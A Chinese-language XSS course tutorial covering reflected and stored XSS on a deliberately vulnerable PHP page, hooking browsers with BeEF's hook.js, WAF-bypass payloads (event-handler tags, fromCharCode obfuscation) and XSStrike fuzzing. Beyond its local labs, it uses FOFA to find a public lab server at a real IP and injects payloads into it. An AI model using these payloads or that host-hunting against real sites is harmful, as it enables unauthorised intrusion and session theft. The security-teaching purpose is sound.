课程目录
- 什么是XSS漏洞
- 为什么要学XSS漏洞
- XSS漏洞基础篇
- XSS漏洞实战篇
- XSS漏洞WAF防御绕过篇
一、XSS简介与危害
简介
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
危害
- 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员账号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其它网站发起攻击(重定向语句)
- 窃取cookie的sessionid,冒充登录
二、反射型与存储型XSS
XSS攻击可分为三类:反射型XSS 、存储型XSS 、DOM型XSS。
反射型XSS
案例1:基本反射型XSS
编写代码,命名为 1.php:
<?php
$xss = $_GET['x'];
echo $xss;
?>
正常访问:
http://localhost/1.php?x=1
注入XSS payload:
http://localhost/1.php?x=<script>alert(1)</script>
http://localhost/1.php?x=<script>alert('已入侵你后端系统')</script>
http://localhost/1.php?x=<h1 style='font-size: 10vw;'>你被入侵啦,遭到破坏啦,哈哈哈</script></h1>
案例2:利用FOFA寻找目标
使用 FOFA 搜索目标:
"pikachu" && country="CN" && title="Get the pikachu"
例如寻找到目标:http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=2&submit=submit
**方式一:**发现不让输入过多字符,可以直接修改URL:
http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit
方式二: F12进入开发者模式,直接修改网页代码,例如把 lengthMax 从 20 修改到 200。
存储型XSS
案例
目标地址:http://111.230.104.121:8765/vul/xss/xss_stored.php
把以下语句填写到编辑框内,insert到数据库中去:
<script>alert(1)</script>
**总结:**攻击数据存储在服务器,攻击一直持续下去,危害比反射型大。
三、XSS综合案例
上面只是对XSS有个基本概念,理解XSS就是使用JS作为恶意代码的攻击行为,看上去没什么危害!下面通过综合案例展示XSS的真实威胁。
综合案例1:Beef-XSS劫持网站
fdd靶场搭建步骤
127.0.0.1/jfdd/install/install.php
http://127.0.0.1/jfdd/admin/login.php
http://localhost/jfdd/
http://localhost/jfdd/admin/login.php
XSS漏洞重现
访问 http://localhost/jfdd/,在具体需求里面输入:
<script>alert(1)</script>
进入后台
访问 http://localhost/jfdd/admin/login.php 查看效果。
使用Beef劫持网站
Beef-XSS是一款功能强大的「XSS漏洞利用工具」,kali自带,基于Ruby语言开发。
安装beef:
vim /etc/apt/sources.list
# 阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
# 中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# 清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
配置好镜像后执行:apt update
初次使用会让你设置密码,如果密码忘了,可以到 /usr/share/beef-xss/config.yaml 查看。
beef-xss
beef安装好之后的默认信息:
用户名:beef
密码:123456
http://127.0.0.1:3000/ui/authentication
填写kali的IP地址,注入hook脚本:
<script src="http://填写Kali的IP地址:3000/hook.js">
<script src="http://192.168.220.128:3000/hook.js">
回到后台kali操作宿主机下单
注入此 <script src="http://192.168.220.128:3000/hook.js"> 语句到数据库里面去。
跳转页面
使用Beef的 commands → redirect 功能可以跳转页面。
四、XSS的绕过WAF
未开启WAF
http://localhost/1.php?x=<script>alert(1)</script>
安装安全狗 - WAF防护
安装到某个英文路径下即可。安装好安全狗后,自动关联到合适的apache2.x。
在注入的时候,根据WAF的规范,绕过是get方式,会对union进行过滤。
再次访问 http://localhost/1.php?x=<script>alert(1)</script>,安全狗防护住的效果:请求被拦截。
手工绕过
标签语法替换
就是使用其他标签来替换,不同WAF过滤的手段并不一样,需要自己尝试。
audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
案例:
http://localhost/1.php?x=<audio src=x onerror=alert(47)>
http://localhost/1.php?x=<audio src=x onerror=prompt(1);>
http://localhost/1.php?x=<audio src=1 href=1 onerror=javascript:alert(1)></audio>
video标签
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
button标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
加密算法ASCII
// ASCII码绕过
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
仅仅只是理解ASCII码的样子:97,108,101,114,116,40,49,41 = alert(1)
XSStrike工具绕过
Python3的准备工作
先在环境变量中,切换到python3的优先执行权:
python.exe -V
python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/
pip install -r 安装包 -i https://mirrors.aliyun.com/pypi/simple/
XSStrike为何物?
XSStrike是一个先进的XSS检测工具,Github地址:https://github.com/s0md3v/XSStrike
参数
-h, --help // 显示帮助信息
-u, --url // 指定目标 URL
--data // POST 方式提交内容
-v, --verbose // 详细输出
-f, --file // 加载自定义 payload 字典
-t, --threads // 定义线程数
-l, --level // 爬行深度
-t, --encode // 定义 payload 编码方式
--json // 将 POST 数据视为 JSON
--path // 测试 URL 路径组件
--seeds // 从文件中测试、抓取 URL
--fuzzer // 测试过滤器和 Web 应用程序防火墙
--update // 更新
--timeout // 设置超时时间
--params // 指定参数
--crawl // 爬行
--proxy // 使用代理
--blind // 盲测试
--skip // 跳过确认提示
--skip-dom // 跳过 DOM 扫描
--headers // 提供 HTTP 标头
-d, --delay // 设置延迟
案例
fuzz测试
安装依赖:
pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
测试:
你当前的路径\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
直接探测
发现并没有payload加载,原因是页面没有HTML结构。
你当前的路径\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1"
所以修改 1.php 页面为HTML的形式:
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到</title>
</head>
<body>
<h1 align=center>欢迎</h1>
<?php
$xss = $_GET['x'];
echo $xss;
?>
<center>测试XSS</center>
</body>
</html>
再次测试就好了。
© 2026 安全攻防笔记 - 仅供安全研究与学习使用